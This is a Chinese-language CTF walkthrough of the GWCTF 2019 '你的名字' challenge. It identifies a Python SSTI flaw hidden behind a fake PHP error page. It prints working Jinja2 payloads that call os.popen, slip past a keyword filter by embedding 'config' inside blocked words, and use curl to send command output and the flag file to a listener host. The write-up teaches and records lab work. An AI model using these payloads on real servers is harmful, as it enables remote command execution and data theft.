刷題[GWCTF 2019]你的名字
解題思路
打開發現需要輸入名字,猜測會有sql注入漏洞,測試一下發現單引號被過濾了,再fuzs下看看過濾了哪些
長度為1518和1519的都有過濾,測試一下,感覺不是sql注入了。那還有什麼呢,考慮了ssti
使用{{7*7}},我直接傻了,怎麼python的後端會報php的錯,這裡直接思路斷了,找了其他的也沒有發現有什麼。直接看wp了,wp說看到返回頭後發現是python寫的後端,我這也沒看出來有啥啊,希望有師傅知道的留言下,從哪看出來的
作者說加了個php模式的報錯和index.php路由。好吧,直接被騙到了。其實這裡也能猜到可能是故意迷惑的,繼續往下走。
測試發現{{}}雙括號會過濾報錯,關於ssti的繞過可以看
利用文章中的poc打
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://174.0.68.175:8080/?i=
whoami').read()=='p' %}1{% endif %}
失敗了,感覺可能是有什麼的過濾,嘗試一下。發現此payload中的if、os、class、mro,config,popen都會被過濾成空,那採取雙寫繞過的思想
os使用oconfigs,if使用iconfigf,class使用claconfigss
payload:
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:8080/ -d
ls /|base64;') %}1{% endiconfigf %}
注意,這裡有幾個點:
- 所有被過濾的關鍵詞都要進行相應替換
- 這裡執行的是curl 靶機ip。需要在buu中另開一臺linux靶機進行監聽
ls /
是不行的,猜測會直接執行,所以要先用base加密輸出,才可輸出所有目錄
監聽靶機,監聽成功:
發現flag檔案:
執行命令:
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:8080/ -d
cat /flag_1s_Hera;') %}1{% endiconfigf %}
在靶機中獲取到flag
總結思路
- 通過報錯,猜測可能是ssti模板注入
- 這裡需要手工測試過濾了哪些值
- 改變相應的payload進行攻擊
- 用os.popen+curl回顯資料
知識點
- ssti
- curl回顯資料